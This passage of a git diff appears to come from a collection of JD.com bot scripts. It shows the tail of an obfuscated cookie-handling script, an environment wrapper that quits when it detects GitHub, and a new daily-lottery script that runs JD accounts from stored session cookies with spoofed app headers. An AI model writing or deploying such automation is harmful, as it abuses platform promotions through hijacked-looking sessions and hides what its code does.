_0x4a0e2f[_0x87f4('‫4b8','\x58\x6d\x41\x57')](_0xf9fc81,_0xfd1da5);}};if(_0x4a0e2f[_0x87f4('‫4b9','\x29\x42\x42\x45')](_0x4a0e2f[_0x87f4('‮4ba','\x21\x35\x33\x57')],_0x4a0e2f[_0x87f4('‫4bb','\x44\x48\x5a\x34')])){try{if(_0x4a0e2f[_0x87f4('‫4bc','\x6c\x41\x4e\x55')](_0x4a0e2f[_0x87f4('‫4bd','\x54\x70\x77\x69')],_0x4a0e2f[_0x87f4('‮4be','\x71\x23\x23\x76')])){if(_0x42a89a){$[_0x87f4('‫4bf','\x4a\x32\x6b\x76')](_0x42a89a);}else{if(_0x57ae8f){_0x57ae8f=JSON[_0x87f4('‫4c0','\x29\x52\x26\x53')](_0x57ae8f);if(_0x4a0e2f[_0x87f4('‮4c1','\x71\x53\x72\x62')](_0x57ae8f[_0x87f4('‫4c2','\x54\x70\x77\x69')],_0x4a0e2f[_0x87f4('‫4c3','\x29\x42\x42\x45')])){$[_0x87f4('‮4c4','\x44\x48\x5a\x34')]=![];return;}if(_0x4a0e2f[_0x87f4('‫4c5','\x65\x45\x58\x41')](_0x57ae8f[_0x87f4('‫4c6','\x58\x64\x45\x7a')],'\x30')&&_0x57ae8f[_0x87f4('‫4c7','\x76\x76\x42\x43')][_0x87f4('‮4c8','\x7a\x34\x77\x71')](_0x4a0e2f[_0x87f4('‮4c9','\x54\x36\x33\x71')])){$[_0x87f4('‫5b','\x73\x48\x62\x4b')]=_0x57ae8f[_0x87f4('‮4ca','\x71\x53\x72\x62')][_0x87f4('‫4cb','\x4a\x32\x6b\x76')][_0x87f4('‮4cc','\x4c\x72\x2a\x77')][_0x87f4('‮4cd','\x29\x42\x42\x45')];}}else{if(_0x4a0e2f[_0x87f4('‫4ce','\x56\x6d\x4e\x53')](_0x4a0e2f[_0x87f4('‮4cf','\x63\x4f\x25\x61')],_0x4a0e2f[_0x87f4('‫4d0','\x4c\x51\x59\x24')])){cookie=originCookie+'\x3b';for(let _0xf90077 of _0x2de3c1[_0x27b0c0[_0x87f4('‮4d1','\x74\x35\x70\x65')]][_0x27b0c0[_0x87f4('‮4d2','\x79\x79\x31\x4e')]]){lz_cookie[_0xf90077[_0x87f4('‮3ae','\x54\x36\x33\x71')]('\x3b')[0x0][_0x87f4('‮4d3','\x29\x42\x42\x45')](0x0,_0xf90077[_0x87f4('‫4d4','\x71\x23\x23\x76')]('\x3b')[0x0][_0x87f4('‫4d5','\x35\x73\x5b\x64')]('\x3d'))]=_0xf90077[_0x87f4('‫4d6','\x58\x6d\x41\x57')]('\x3b')[0x0][_0x87f4('‮3b1','\x76\x70\x30\x23')](_0x27b0c0[_0x87f4('‮4d7','\x71\x53\x72\x62')](_0xf90077[_0x87f4('‮4d8','\x46\x55\x72\x32')]('\x3b')[0x0][_0x87f4('‮3af','\x31\x74\x29\x36')]('\x3d'),0x1));}for(const _0x4637d6 of Object[_0x87f4('‫4d9','\x58\x64\x45\x7a')](lz_cookie)){cookie+=_0x27b0c0[_0x87f4('‫4da','\x50\x6b\x62\x24')](_0x27b0c0[_0x87f4('‫4db','\x56\x6d\x4e\x53')](_0x27b0c0[_0x87f4('‫4dc','\x5d\x25\x68\x79')](_0x4637d6,'\x3d'),lz_cookie[_0x4637d6]),'\x3b');}}else{$[_0x87f4('‫3fc','\x34\x74\x6c\x48')](_0x4a0e2f[_0x87f4('‫4dd','\x5a\x4d\x49\x21')]);}}}}else{$[_0x87f4('‮427','\x5d\x25\x68\x79')](error);}}catch(_0x5b6db3){if(_0x4a0e2f[_0x87f4('‫4de','\x6e\x50\x69\x51')](_0x4a0e2f[_0x87f4('‮4df','\x73\x48\x62\x4b')],_0x4a0e2f[_0x87f4('‫4e0','\x58\x6d\x41\x57')])){console[_0x87f4('‮4e1','\x56\x6d\x4e\x53')](_0x87f4('‫4e2','\x6c\x7a\x21\x32')+_0x57ae8f[_0x87f4('‫3c7','\x50\x6b\x62\x24')][_0x87f4('‮4e3','\x54\x36\x33\x71')]);message+=_0x57ae8f[_0x87f4('‫319','\x4a\x32\x6b\x76')][_0x87f4('‫4e4','\x71\x23\x23\x76')];llnothing=![];}else{$[_0x87f4('‮4e5','\x6c\x7a\x21\x32')](_0x5b6db3);}}finally{if(_0x4a0e2f[_0x87f4('‫4e6','\x71\x23\x23\x76')](_0x4a0e2f[_0x87f4('‮4e7','\x54\x70\x77\x69')],_0x4a0e2f[_0x87f4('‮4e8','\x34\x74\x40\x45')])){_0x4a0e2f[_0x87f4('‫4e9','\x50\x6b\x62\x24')](_0x26d151);}else{_0x4a0e2f[_0x87f4('‮4ea','\x33\x51\x65\x48')](_0x26d151);}}}else{$[_0x87f4('‮427','\x5d\x25\x68\x79')](_0x4a0e2f[_0x87f4('‫4eb','\x58\x6d\x41\x57')]);}});});};_0xod6='jsjiami.com.v6'; + +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_daily_lottery.js b/jd_daily_lottery.js new file mode 100644 index 0000000..a86c3ae --- /dev/null +++ b/jd_daily_lottery.js @@ -0,0 +1,339 @@ +/* +小鸽有礼-每日抽奖 +活动入口:惊喜-》我的-》寄件服务-》寻味四季-》右侧瓜分千万京豆 +author:star +活动时间:2021-04-16至2021-05-17 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#每日抽奖 +13 1,22,23 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_daily_lottery.js, tag=每日抽奖, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +*/ +const $ = new Env('京东快递-每日抽奖'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const activityCode = '1545335372043517952'; +$.helpCodeList = []; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + + await dailyLottery() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function dailyLottery() { + $.lotteryInfo = {}; + $.missionList = []; + await Promise.all([getLotteryInfo(), getQueryMissionList()]); + console.log(`初始化`); + if ($.lotteryInfo.success !== true) { + console.log(`${$.UserName}数据异常,执行失败`); + return; + } + if ($.missionList.length === 0) { + console.log(`${$.UserName}获取任务列表失败`); + return; + } + $.runTime = 0; + do { + $.runFlag = false; + await doMission();//做任务 + await Promise.all([getLotteryInfo(), getQueryMissionList()]); + await $.wait(1000); + await collectionTimes();//领任务奖励 + await Promise.all([getLotteryInfo(), getQueryMissionList()]); + await $.wait(1000); + $.runTime++; + } while ($.runFlag && $.runTime < 30); + + let drawNum = $.lotteryInfo.content.drawNum || 0; + console.log(`共有${drawNum}次抽奖机会`); + $.drawNumber = 1; + for (let i = 0; i < drawNum; i++) { + await $.wait(1000); + //执行抽奖 + await lotteryDraw(); + $.drawNumber++; + } +} + + +//做任务 +async function collectionTimes() { + console.log(`开始领任务奖励`); + for (let i = 0; i < $.missionList.length; i++) { + if ($.missionList[i].status === 11) { + let getRewardNos = $.missionList[i].getRewardNos; + for (let j = 0; j < getRewardNos.length; j++) { + await collectionOneMission($.missionList[i].title, getRewardNos[j]);//领奖励 + await $.wait(1000); + } + } + } +} + +//做任务 +async function doMission() { + console.log(`开始执行任务`); + for (let i = 0; i < $.missionList.length; i++) { + if ($.missionList[i].status !== 1) { + continue; + } + await $.wait(1000); + if ($.missionList[i].jumpType === 135 || $.missionList[i].jumpType === 136 || $.missionList[i].jumpType === 137) { + await doOneMission($.missionList[i]); + } else if ($.missionList[i].jumpType === 45 || $.missionList[i].jumpType === 31) { + //await createInvitation($.missionList[i]); + await doOneMission2($.missionList[i]); + } + } +} + +async function doOneMission2(missionInfo) { + const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}","missionNo":"${missionInfo.missionNo}"}]`; + const myRequest = getPostRequest('Luckdraw/completeMission', body) + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + //{"code": 1,"content": "ML:786c65ea-ca5c-4b3b-8b07-7ca5adaa8deb","data": "ML:786c65ea-ca5c-4b3b-8b07-7ca5adaa8deb","errorMsg": "SUCCESS","msg": "SUCCESS","success": true} + data = JSON.parse(data); + if (data.success === true) { + console.log(`${missionInfo.title},任务执行成功`); + $.runFlag = true; + } else { + console.log(JSON.stringify(data)); + console.log(`${missionInfo.title},任务执行失败`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +//领奖励 +async function collectionOneMission(title, getRewardNo) { + const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}","getCode":"${getRewardNo}"}]`; + const myRequest = getPostRequest('Luckdraw/getDrawChance', body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.success === true) { + console.log(`${title},领取任务奖励成功`); + } else { + console.log(JSON.stringify(data)); + console.log(`${title},领取任务执行失败`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//做任务 +async function doOneMission(missionInfo) { + const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}","missionNo":"${missionInfo.missionNo}","params":${JSON.stringify(missionInfo.params)}}]`; + const myRequest = getPostRequest('Luckdraw/completeMission', body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.success === true) { + console.log(`${missionInfo.title},任务执行成功`); + $.runFlag = true; + } else { + console.log(JSON.stringify(data)); + console.log(`${missionInfo.title},任务执行失败`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//获取任务列表 +async function getQueryMissionList() { + const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}"}]`; + const myRequest = getPostRequest('Luckdraw/queryMissionList', body) + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + data = JSON.parse(data); + if (data.success === true) { + $.missionList = data.content.missionList; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//获取信息 +async function getLotteryInfo() { + const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}"}]`; + const myRequest = getPostRequest('Luckdraw/queryActivityBaseInfo', body) + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + $.lotteryInfo = JSON.parse(data); + // console.log($.lotteryInfo); + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +async function lotteryDraw() { + const body = `[{"userNo":"$cooMrdGatewayUid$","activityCode":"${activityCode}"}]`; + const myRequest = getPostRequest('Luckdraw/draw', body) + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + //console.log(`${data}`); + data = JSON.parse(data); + if (data.success === true) { + console.log(`${$.name}第${$.drawNumber}次抽奖,获得:${data.content.rewardDTO.title || ' '}`); + } else { + console.log(`${$.name}第${$.drawNumber}次抽奖失败`); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function getPostRequest(type, body) { + const url = `https://lop-proxy.jd.com/${type}`; + const method = `POST`; + let t= `${Date.now()}`; + const headers = { + 'Accept-Encoding': `gzip, deflate, br`, + 'Host': `lop-proxy.jd.com`, + 'Origin': `https://jingcai-h5.jd.com`, + 'Connection': `keep-alive`, + 'biz-type': `service-monitor`, + 'Accept-Language': `zh-cn`, + 'version': `1.0.0`, + 'uuid': `${t}${t * 2}`, + 'jexpress-report-time': t, + 'Content-Type': `application/json;charset=utf-8`, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.2.2;14.2;%E4%BA%AC%E4%B8%9C/9.2.2 CFNetwork/1206 Darwin/20.1.0"), + 'Referer': `https://jingcai-h5.jd.com`, + 'ClientInfo': `{"appName":"jingcai","client":"m"}`, + 'access': `WX-XCX`, + 'Accept': `application/json, text/plain, */*`, + 'source-client': `2`, + 'X-Requested-With': `XMLHttpRequest`, + 'Cookie': cookie, + 'LOP-DN': `jingcai.jd.com`, + 'AppParams': `{"appid":158,"ticket_type":"m"}`, + 'app-key': `jexpress` + }; + return {url: url, method: method, headers: headers, body: body}; +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + + +// prettier-ignore +function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof 